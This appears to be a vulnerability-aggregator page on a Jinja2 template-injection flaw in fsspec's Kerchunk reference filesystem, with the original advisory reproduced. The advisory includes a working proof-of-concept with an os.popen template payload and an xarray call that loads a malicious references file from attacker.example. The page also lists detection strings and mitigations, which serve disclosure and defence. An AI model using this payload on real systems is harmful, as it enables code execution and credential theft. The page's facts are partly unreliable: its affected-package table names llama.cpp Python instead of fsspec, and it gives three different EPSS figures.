fsspec's ReferenceFileSystem (used for Kerchunk catalogues) renders fields from a references JSON with an unsandboxed Jinja2 environment, so anyone who controls that JSON can run arbitrary Python on the machine that opens it, before any data is read. It is a template injection of the same class as CVE-2024-34359 in llama-cpp-python. It is rated high (CVSS 8.8) and needs only one user action, such as opening a URL through xarray or dask. The EPSS percentile is 77% (score 0.003), so exploitation is plausible, and the advisory includes a working PoC. It is not in CISA KEV and has no Nuclei template. fsspec has 352 tracked downstream dependents, and it is a base dependency of pandas, dask, xarray, Hugging Face datasets and many ML data pipelines, so the real blast radius is much larger. Upgrade to fsspec 2026.6.0 or later, and until then do not open Kerchunk or reference filesystems from untrusted sources.
What is the risk?
High. The attack is network-reachable with low complexity, no privileges and one user action (CVSS 8.8, C/I/A all High). Exploitation needs only a hosted JSON file, and the advisory's PoC makes it trivial to reproduce. EPSS is low in absolute terms (0.00317) but sits at the 77th percentile. There is no KEV listing, no scanner template and no confirmed in-the-wild exploitation. Exposure is highest where the library fetches reference documents from URLs a user or tenant supplies, such as notebook servers, batch runners and data platforms. The code runs with the privileges of the data process, which in ML environments often hold cloud credentials, object storage access and GPU nodes.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| llama.cpp Python | pip | >= 0.9.0, < 2026.6.0 | 2026.6.0 |
Do you use llama.cpp Python? You're affected.
How severe is it?
What is the attack surface?
What should I do?
1 step1) Upgrade fsspec to 2026.6.0 or later (all versions >= 0.9.0 are affected). 2) Until you can patch, do not open reference:// filesystems or Kerchunk JSON from untrusted or unverified sources, and block user-supplied URLs in data platforms. 3) Inventory with pip freeze or SBOM tools, including transitive installs in notebook images, containers and CI. 4) Pin and verify the integrity of Kerchunk catalogues stored in buckets, and restrict write access to them. 5) Run data jobs with least-privilege, short-lived credentials and egress filtering. 6) Detect by reviewing reference JSON for '{{', '__class__', '__globals__' or '__init__' in templates, gen, key, url and refs fields, and by alerting on child processes (sh, curl) spawned from Python data workers.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-104851?
fsspec's ReferenceFileSystem (used for Kerchunk catalogues) renders fields from a references JSON with an unsandboxed Jinja2 environment, so anyone who controls that JSON can run arbitrary Python on the machine that opens it, before any data is read. It is a template injection of the same class as CVE-2024-34359 in llama-cpp-python. It is rated high (CVSS 8.8) and needs only one user action, such as opening a URL through xarray or dask. The EPSS percentile is 77% (score 0.003), so exploitation is plausible, and the advisory includes a working PoC. It is not in CISA KEV and has no Nuclei template. fsspec has 352 tracked downstream dependents, and it is a base dependency of pandas, dask, xarray, Hugging Face datasets and many ML data pipelines, so the real blast radius is much larger. Upgrade to fsspec 2026.6.0 or later, and until then do not open Kerchunk or reference filesystems from untrusted sources.
Is CVE-2026-104851 actively exploited?
No confirmed active exploitation of CVE-2026-104851 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-104851?
1) Upgrade fsspec to 2026.6.0 or later (all versions >= 0.9.0 are affected). 2) Until you can patch, do not open reference:// filesystems or Kerchunk JSON from untrusted or unverified sources, and block user-supplied URLs in data platforms. 3) Inventory with pip freeze or SBOM tools, including transitive installs in notebook images, containers and CI. 4) Pin and verify the integrity of Kerchunk catalogues stored in buckets, and restrict write access to them. 5) Run data jobs with least-privilege, short-lived credentials and egress filtering. 6) Detect by reviewing reference JSON for '{{', '__class__', '__globals__' or '__init__' in templates, gen, key, url and refs fields, and by alerting on child processes (sh, curl) spawned from Python data workers.
What systems are affected by CVE-2026-104851?
This vulnerability affects the following AI/ML architecture patterns: training pipelines, data loading and preprocessing pipelines, notebook and data science platforms, batch inference jobs, ML data lakes and object storage access.
What is the CVSS score for CVE-2026-104851?
CVE-2026-104851 has a CVSS v3.1 base score of 8.8 (HIGH). The EPSS exploitation probability is 0.47%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010.002DataAML.T0011.000Unsafe AI ArtifactsAML.T0011.003Malicious LinkAML.T0050Command and Scripting InterpreterCompliance Controls Affected
What are the technical details?
Original Advisory
### Summary `fsspec.implementations.reference.ReferenceFileSystem` parses a "references" JSON document (Kerchunk format) supplied either inline or via a URL. The parser renders fields from this JSON through **un-sandboxed** `jinja2.Template(...).render(...)` calls in three locations. An attacker who controls the JSON document — typically by hosting it at a URL that the victim opens with `fsspec.filesystem("reference", fo=URL)` or via `xarray.open_dataset("reference://...")` — achieves arbitrary Python code execution on the victim machine, before any data is read. This mirrors the pattern of [CVE-2024-34359](https://nvd.nist.gov/vuln/detail/CVE-2024-34359) in `llama-cpp-python`, where externally-sourced template strings were rendered with the default unrestricted Jinja2 environment. ### Affected versions All versions of `fsspec` from `0.9.0` onward (vulnerable code introduced in commit `0fb8d56b684ee74ad9ad4587fd560bde1b116450`, 2021-03-12). Confirmed on the latest released version `2025.10.0`. ### Affected sinks All in `fsspec/implementations/reference.py`: | Sink | Location | Trigger | |---|---|---| | A — `_process_references1._render_jinja` | lines 1016-1018 | `simple_templates=False` and a `refs` entry contains `{{` | | B — `_process_templates` (lambda) | lines 1043-1053 | `templates` dict has values containing `{{`, invoked later via render context | | C — `_process_gen` | lines 1075-1083 | references JSON contains a `gen` array (always reached, regardless of `simple_templates`) | Sink C is the most severe: it is reached unconditionally for any references JSON that includes a `gen` field. The vulnerable code: ```python # fsspec/implementations/reference.py # Sink A @lru_cache(1000) def _render_jinja(u): return jinja2.Template(u).render(**self.templates) # <- unsandboxed # Sink B def _process_templates(self, tmp): ... for k, v in tmp.items(): if "{{" in v: import jinja2 self.templates[k] = lambda temp=v, **kwargs: jinja2.Template( temp # <- unsandboxed ).render(**kwargs) # Sink C def _process_gen(self, gens): ... for pr in products: import jinja2 key = jinja2.Template(gen["key"]).render(**pr, **self.templates) # <- unsandboxed url = jinja2.Template(gen["url"]).render(**pr, **self.templates) # <- unsandboxed if ("offset" in gen) and ("length" in gen): offset = int(jinja2.Template(gen["offset"]).render(...)) # <- unsandboxed length = int(jinja2.Template(gen["length"]).render(...)) # <- unsandboxed ``` ### Proof of concept (Sink C, minimal) Save as `poc.py`: ```python import http.server, json, socketserver, threading, time, fsspec from pathlib import Path PAYLOAD = "{{ joiner.__init__.__globals__.os.popen('touch /tmp/fsspec_pwned_$(whoami)').read() }}" REF = { "version": 1, "templates": {}, "refs": {"x": "x"}, "gen": [{ "key": PAYLOAD + "/{{ i }}", "url": "http://example.com/{{ i }}", "offset": "0", "length": "0", "dimensions": {"i": [0]}, }], } body = json.dumps(REF).encode() class H(http.server.BaseHTTPRequestHandler): def do_GET(self): self.send_response(200); self.end_headers(); self.wfile.write(body) def log_message(self, *a, **kw): pass srv = socketserver.TCPServer(("127.0.0.1", 0), H) threading.Thread(target=srv.serve_forever, daemon=True).start() url = f"http://127.0.0.1:{srv.server_address[1]}/refs.json" for p in Path("/tmp").glob("fsspec_pwned_*"): p.unlink() try: fsspec.filesystem("reference", fo=url) except Exception as e: print("exception:", e) srv.shutdown() time.sleep(0.3) print("markers:", list(Path("/tmp").glob("fsspec_pwned_*"))) ``` Run: ``` pip install fsspec aiohttp requests jinja2 python3 poc.py # → markers: [PosixPath('/tmp/fsspec_pwned_<user>')] ``` ### End-to-end via xarray (real-world consumer pathway) ```python import xarray as xr ds = xr.open_dataset( "reference://", engine="zarr", backend_kwargs={ "consolidated": False, "storage_options": { "fo": "http://attacker.example/refs.json", "remote_protocol": "http", }, }, ) # RCE fires before any data is materialised. ``` ### Tested on - fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14 - fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux ### Impact `fsspec.ReferenceFileSystem` is the canonical entrypoint for the **Kerchunk** format, widely used in the Pangeo / Earth-observation / climate data-science ecosystem to provide cloud-optimised views of HDF5 / NetCDF / GRIB archives hosted on object storage. Realistic attack vectors: - A user opens a community-shared Kerchunk catalogue link via xarray/dask. - A managed data-science platform (notebook server, batch job runner) ingests user-submitted Kerchunk URLs. - A workflow downloads a catalogue from a bucket whose contents have been tampered with (supply chain). In every case, the victim performs no action beyond opening a "reference filesystem" — there is no documented expectation that a data catalogue can execute arbitrary Python code. ### Suggested fix Replace `jinja2.Template(...)` with a shared `jinja2.sandbox.ImmutableSandboxedEnvironment` for all three sinks. This matches the post-incident hardening applied to `llama-cpp-python` after CVE-2024-34359. ```python # At module top def _sandboxed_env(): import jinja2.sandbox env = getattr(_sandboxed_env, "_env", None) if env is None: env = jinja2.sandbox.ImmutableSandboxedEnvironment() _sandboxed_env._env = env return env ``` Then in each sink, replace `jinja2.Template(s).render(...)` with `_sandboxed_env().from_string(s).render(...)`. The legitimate Kerchunk template syntax (simple variable substitution like `{{ varname }}`) continues to work under the sandbox; only the SSTI gadgets (`__class__`, `__init__.__globals__`, `__subclasses__`, etc.) are refused with `jinja2.exceptions.SecurityError`. A complete patch is available on request. ### Credit Reported by Dany.A
Exploitation Scenario
An attacker publishes a Kerchunk catalogue on a public bucket or shares a link in a data community or ticket. The JSON contains a 'gen' entry whose key holds a Jinja2 expression such as joiner.__init__.__globals__.os.popen(...). A data scientist or an automated pipeline opens it with xarray.open_dataset('reference://...') or fsspec.filesystem('reference', fo=URL). The payload runs during parsing, before any data is read, and steals cloud credentials, SSH keys and API tokens from the environment. It can then move into training clusters or model registries, or tamper with datasets and artifacts that feed production models.
Weaknesses (CWE)
CWE-1336Improper Neutralization of Special Elements Used in a Template EnginePrimaryCWE-94Improper Control of Generation of Code ('Code Injection')PrimaryCWE-1336Improper Neutralization of Special Elements Used in a Template EngineCWE-94Improper Control of Generation of Code ('Code Injection')CWE-1336 — Improper Neutralization of Special Elements Used in a Template Engine: The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.
- [Architecture and Design] Choose a template engine that offers a sandbox or restricted mode, or at least limits the power of any available expressions, function calls, or commands.
- [Implementation] Use the template engine's sandbox or restricted mode, if available.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:HReferences
- github.com/advisories/GHSA-27vj-qcqg-25rc
- github.com/fsspec/filesystem_spec/commit/86438783f93b1398ef245b92f0e6063b445b611c
- github.com/fsspec/filesystem_spec/commit/a1c16ab3f07f354aa371c38f7b1b07ea7fd4c5c8
- github.com/fsspec/filesystem_spec/pull/2029
- github.com/fsspec/filesystem_spec/pull/2039
- github.com/fsspec/filesystem_spec/releases/tag/2026.6.0
- github.com/fsspec/filesystem_spec/security/advisories/GHSA-27vj-qcqg-25rc
- nvd.nist.gov/vuln/detail/CVE-2026-104851
Timeline
Related Vulnerabilities
CVE-2025-5952810.0Flowise: Unauthenticated RCE via MCP config injection
Same attack type: Supply ChainCVE-2024-291210.0BentoML: RCE via insecure deserialization (CVSS 10)
Same attack type: Supply ChainCVE-2023-376510.0MLflow: path traversal allows arbitrary file read
Same attack type: Supply ChainCVE-2025-512010.0smolagents: sandbox escape enables unauthenticated RCE
Same attack type: Supply ChainCVE-2026-2185810.0n8n: Input Validation flaw enables exploitation
Same attack type: Code Execution